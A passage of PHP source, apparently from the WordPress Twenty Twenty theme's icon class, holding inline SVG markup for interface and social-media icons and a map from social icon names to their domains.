M1.84375,8.95486111 L1.84375,15.875 C1.84375,16.6516504 2.47334957,17.28125 3.25,17.28125 L14.75,17.28125 C15.5266504,17.28125 16.15625,16.6516504 16.15625,15.875 L16.15625,8.95486111 L1.84375,8.95486111 Z"/> </svg>', 'chevron-down' => '<svg xmlns="http://www.w3.org/2000/svg" width="20" height="12" viewBox="0 0 20 12"> <polygon fill="#1A1A1B" fill-rule="evenodd" points="1319.899 365.778 1327.678 358 1329.799 360.121 1319.899 370.021 1310 360.121 1312.121 358" transform="translate(-1310 -358)"/> </svg>', 'comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="19" height="19" viewBox="0 0 19 19"> <path d="M9.43016863,13.2235931 C9.58624731,13.094699 9.7823475,13.0241935 9.98476849,13.0241935 L15.0564516,13.0241935 C15.8581553,13.0241935 16.5080645,12.3742843 16.5080645,11.5725806 L16.5080645,3.44354839 C16.5080645,2.64184472 15.8581553,1.99193548 15.0564516,1.99193548 L3.44354839,1.99193548 C2.64184472,1.99193548 1.99193548,2.64184472 1.99193548,3.44354839 L1.99193548,11.5725806 C1.99193548,12.3742843 2.64184472,13.0241935 3.44354839,13.0241935 L5.76612903,13.0241935 C6.24715123,13.0241935 6.63709677,13.4141391 6.63709677,13.8951613 L6.63709677,15.5301903 L9.43016863,13.2235931 Z M3.44354839,14.766129 C1.67980032,14.766129 0.25,13.3363287 0.25,11.5725806 L0.25,3.44354839 C0.25,1.67980032 1.67980032,0.25 3.44354839,0.25 L15.0564516,0.25 C16.8201997,0.25 18.25,1.67980032 18.25,3.44354839 L18.25,11.5725806 C18.25,13.3363287 16.8201997,14.766129 15.0564516,14.766129 L10.2979143,14.766129 L6.32072889,18.0506004 C5.75274472,18.5196577 4.89516129,18.1156602 4.89516129,17.3790323 L4.89516129,14.766129 L3.44354839,14.766129 Z"/> </svg>', 'cross' => '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"> <polygon fill="#1A1A1B" fill-rule="evenodd" points="6.852 7.649 .399 1.195 1.445 .149 7.899 6.602 14.352 .149 15.399 1.195 8.945 7.649 15.399 14.102 14.352 15.149 7.899 8.695 1.445 15.149 .399 14.102"/> </svg>', 'ellipsis' => '<svg xmlns="http://www.w3.org/2000/svg" width="26" height="7" viewBox="0 0 26 7"> <path fill-rule="evenodd" d="M332.5,45 C330.567003,45 329,43.4329966 329,41.5 C329,39.5670034 330.567003,38 332.5,38 C334.432997,38 336,39.5670034 336,41.5 C336,43.4329966 334.432997,45 332.5,45 Z M342,45 C340.067003,45 338.5,43.4329966 338.5,41.5 C338.5,39.5670034 340.067003,38 342,38 C343.932997,38 345.5,39.5670034 345.5,41.5 C345.5,43.4329966 343.932997,45 342,45 Z M351.5,45 C349.567003,45 348,43.4329966 348,41.5 C348,39.5670034 349.567003,38 351.5,38 C353.432997,38 355,39.5670034 355,41.5 C355,43.4329966 353.432997,45 351.5,45 Z" transform="translate(-329 -38)"/> </svg>', 'edit' => '<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18"> <path fill="#1A1A1B" d="M14.7272727,11.1763636 C14.7272727,10.7244943 15.0935852,10.3581818 15.5454545,10.3581818 C15.9973239,10.3581818 16.3636364,10.7244943 16.3636364,11.1763636 L16.3636364,15.5454545 C16.3636364,16.9010626 15.2646989,18 13.9090909,18 L2.45454545,18 C1.09893743,18 0,16.9010626 0,15.5454545 L0,4.09090909 C0,2.73530107 1.09893743,1.63636364 2.45454545,1.63636364 L6.82363636,1.63636364 C7.2755057,1.63636364 7.64181818,2.00267611 7.64181818,2.45454545 C7.64181818,2.9064148 7.2755057,3.27272727 6.82363636,3.27272727 L2.45454545,3.27272727 C2.00267611,3.27272727 1.63636364,3.63903975 1.63636364,4.09090909 L1.63636364,15.5454545 C1.63636364,15.9973239 2.00267611,16.3636364 2.45454545,16.3636364 L13.9090909,16.3636364 C14.3609602,16.3636364 14.7272727,15.9973239 14.7272727,15.5454545 L14.7272727,11.1763636 Z M6.54545455,9.33890201 L6.54545455,11.4545455 L8.66109799,11.4545455 L16.0247344,4.09090909 L13.9090909,1.97526564 L6.54545455,9.33890201 Z M14.4876328,0.239639906 L17.7603601,3.51236718 C18.07988,3.83188705 18.07988,4.34993113 17.7603601,4.669451 L9.57854191,12.8512692 C9.42510306,13.004708 9.21699531,13.0909091 9,13.0909091 L5.72727273,13.0909091 C5.27540339,13.0909091 4.90909091,12.7245966 4.90909091,12.2727273 L4.90909091,9 C4.90909091,8.78300469 4.99529196,8.57489694 5.14873082,8.42145809 L13.330549,0.239639906 C13.6500689,-0.0798799688 14.1681129,-0.0798799688 14.4876328,0.239639906 Z"/> </svg>', 'folder' => '<svg xmlns="http://www.w3.org/2000/svg" width="20" height="19" viewBox="0 0 20 19"> <path fill="#1A1A1B" d="M2.8,1.85 C2.275329,1.85 1.85,2.27532949 1.85,2.8 L1.85,15.4 C1.85,15.9246705 2.275329,16.35 2.8,16.35 L17.2,16.35 C17.724671,16.35 18.15,15.9246705 18.15,15.4 L18.15,5.5 C18.15,4.97532949 17.724671,4.55 17.2,4.55 L9.1,4.55 C8.8158,4.55 8.550403,4.40796403 8.392757,4.17149517 L6.845094,1.85 L2.8,1.85 Z M17.2,2.85 C18.663555,2.85 19.85,4.03644541 19.85,5.5 L19.85,15.4 C19.85,16.8635546 18.663555,18.05 17.2,18.05 L2.8,18.05 C1.336445,18.05 0.15,16.8635546 0.15,15.4 L0.15,2.8 C0.15,1.33644541 1.336445,0.15 2.8,0.15 L7.3,0.15 C7.5842,0.15 7.849597,0.292035965 8.007243,0.528504833 L9.554906,2.85 L17.2,2.85 Z"/> </svg>', 'link' => '<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18"> <path d="M6.70846497,10.3082552 C6.43780491,9.94641406 6.5117218,9.43367048 6.87356298,9.16301045 C7.23540415,8.89235035 7.74814771,8.96626726 8.01880776,9.32810842 C8.5875786,10.0884893 9.45856383,10.5643487 10.4057058,10.6321812 C11.3528479,10.7000136 12.2827563,10.3531306 12.9541853,9.68145807 L15.3987642,7.23705399 C16.6390369,5.9529049 16.6212992,3.91168563 15.3588977,2.6492841 C14.0964962,1.38688258 12.0552769,1.36914494 10.77958,2.60113525 L9.37230725,4.00022615 C9.05185726,4.31881314 8.53381538,4.31730281 8.21522839,3.99685275 C7.89664141,3.67640269 7.89815174,3.15836082 8.21860184,2.83977385 L9.63432671,1.43240056 C11.5605503,-0.42800847 14.6223793,-0.401402004 16.5159816,1.49220028 C18.4095838,3.38580256 18.4361903,6.44763148 16.5658147,8.38399647 L14.1113741,10.838437 C13.1043877,11.8457885 11.7095252,12.366113 10.2888121,12.2643643 C8.86809903,12.1626156 7.56162126,11.4488264 6.70846497,10.3082552 Z M11.291535,7.6917448 C11.5621951,8.05358597 11.4882782,8.56632952 11.126437,8.83698955 C10.7645959,9.10764965 10.2518523,9.03373274 9.98119227,8.67189158 C9.4124214,7.91151075 8.54143617,7.43565129 7.59429414,7.36781884 C6.6471521,7.29998638 5.71724372,7.64686937 5.04581464,8.31854193 L2.60123581,10.762946 C1.36096312,12.0470951 1.37870076,14.0883144 2.64110228,15.3507159 C3.90350381,16.6131174 5.94472309,16.630855 7.21873082,15.400549 L8.61782171,14.0014581 C8.93734159,13.6819382 9.45538568,13.6819382 9.77490556,14.0014581 C10.0944254,14.320978 10.0944254,14.839022 9.77490556,15.1585419 L8.36567329,16.5675994 C6.43944966,18.4280085 3.37762074,18.401402 1.48401846,16.5077998 C-0.409583822,14.6141975 -0.436190288,11.5523685 1.43418536,9.61600353 L3.88862594,7.16156298 C4.89561225,6.15421151 6.29047483,5.63388702 7.71118789,5.7356357 C9.13190097,5.83738438 10.4383788,6.55117356 11.291535,7.6917448 Z"/> </svg>', 'search' => '<svg xmlns="http://www.w3.org/2000/svg" width="23" height="23" viewBox="0 0 23 23"> <path d="M38.710696,48.0601792 L43,52.3494831 L41.3494831,54 L37.0601792,49.710696 C35.2632422,51.1481185 32.9839107,52.0076499 30.5038249,52.0076499 C24.7027226,52.0076499 20,47.3049272 20,41.5038249 C20,35.7027226 24.7027226,31 30.5038249,31 C36.3049272,31 41.0076499,35.7027226 41.0076499,41.5038249 C41.0076499,43.9839107 40.1481185,46.2632422 38.710696,48.0601792 Z M36.3875844,47.1716785 C37.8030221,45.7026647 38.6734666,43.7048964 38.6734666,41.5038249 C38.6734666,36.9918565 35.0157934,33.3341833 30.5038249,33.3341833 C25.9918565,33.3341833 22.3341833,36.9918565 22.3341833,41.5038249 C22.3341833,46.0157934 25.9918565,49.6734666 30.5038249,49.6734666 C32.7048964,49.6734666 34.7026647,48.8030221 36.1716785,47.3875844 C36.2023931,47.347638 36.2360451,47.3092237 36.2726343,47.2726343 C36.3092237,47.2360451 36.347638,47.2023931 36.3875844,47.1716785 Z" transform="translate(-20 -31)"/> </svg>', 'tag' => '<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18"> <path fill="#1A1A1B" d="M15.4496399,8.42490555 L8.66109799,1.63636364 L1.63636364,1.63636364 L1.63636364,8.66081885 L8.42522727,15.44178 C8.57869221,15.5954158 8.78693789,15.6817418 9.00409091,15.6817418 C9.22124393,15.6817418 9.42948961,15.5954158 9.58327627,15.4414581 L15.4486339,9.57610048 C15.7651495,9.25692435 15.7649133,8.74206554 15.4496399,8.42490555 Z M16.6084423,10.7304545 L10.7406818,16.59822 C10.280287,17.0591273 9.65554997,17.3181054 9.00409091,17.3181054 C8.35263185,17.3181054 7.72789481,17.0591273 7.26815877,16.5988788 L0.239976954,9.57887876 C0.0863319284,9.4254126 0,9.21716044 0,9 L0,0.818181818 C0,0.366312477 0.366312477,0 0.818181818,0 L9,0 C9.21699531,0 9.42510306,0.0862010512 9.57854191,0.239639906 L16.6084423,7.26954545 C17.5601275,8.22691012 17.5601275,9.77308988 16.6084423,10.7304545 Z M5,6 C4.44771525,6 4,5.55228475 4,5 C4,4.44771525 4.44771525,4 5,4 C5.55228475,4 6,4.44771525 6,5 C6,5.55228475 5.55228475,6 5,6 Z"/> </svg>', 'user' => '<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" viewBox="0 0 18 20"> <path fill="#1A1A1B" d="M18,19 C18,19.5522847 17.5522847,20 17,20 C16.4477153,20 16,19.5522847 16,19 L16,17 C16,15.3431458 14.6568542,14 13,14 L5,14 C3.34314575,14 2,15.3431458 2,17 L2,19 C2,19.5522847 1.55228475,20 1,20 C0.44771525,20 0,19.5522847 0,19 L0,17 C0,14.2385763 2.23857625,12 5,12 L13,12 C15.7614237,12 18,14.2385763 18,17 L18,19 Z M9,10 C6.23857625,10 4,7.76142375 4,5 C4,2.23857625 6.23857625,0 9,0 C11.7614237,0 14,2.23857625 14,5 C14,7.76142375 11.7614237,10 9,10 Z M9,8 C10.6568542,8 12,6.65685425 12,5 C12,3.34314575 10.6568542,2 9,2 C7.34314575,2 6,3.34314575 6,5 C6,6.65685425 7.34314575,8 9,8 Z"/> </svg>', ); /** * Social Icons – domain mappings. * * By default, each Icon ID is matched against a .com TLD. To override this behavior, * specify all the domains it covers (including the .com TLD too, if applicable). * * @since Twenty Twenty 1.0 * @var array */ public static $social_icons_map = array( 'amazon' => array( 'amazon.com', 'amazon.cn', 'amazon.in', 'amazon.fr', 'amazon.de', 'amazon.it', 'amazon.nl', 'amazon.es', 'amazon.co', 'amazon.ca', ), 'behance' => array( 'behance.net', ), 'codepen' => array( 'codepen.io', ), 'facebook' => array( 'facebook.com', 'fb.me', ), 'feed' => array( 'feed', ), 'google' => array( 'g.page', ), 'lastfm' => array( 'last.fm', ), 'mail' => array( 'mailto:', ), 'pocket' => array( 'getpocket.com', ), 'tiktok' => array( 'tiktok.com', ), 'twitch' => array( 'twitch.tv', ), 'whatsapp' => array( 'wa.me', 'whatsapp.com', ), 'wordpress' => array( 'wordpress.com', 'wordpress.org', ), ); /** * Social Icons – svg sources. * * @since Twenty Twenty 1.0 * @var array */ public static $social_icons = array( '500px' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>', 'amazon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>', 'bandcamp' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>', 'behance' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>', 'codepen' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>', 'deviantart' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>', 'dribbble' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>', 'dropbox' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>', 'etsy' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>', 'facebook' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>', 'feed' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>', 'flickr' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>', 'foursquare' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 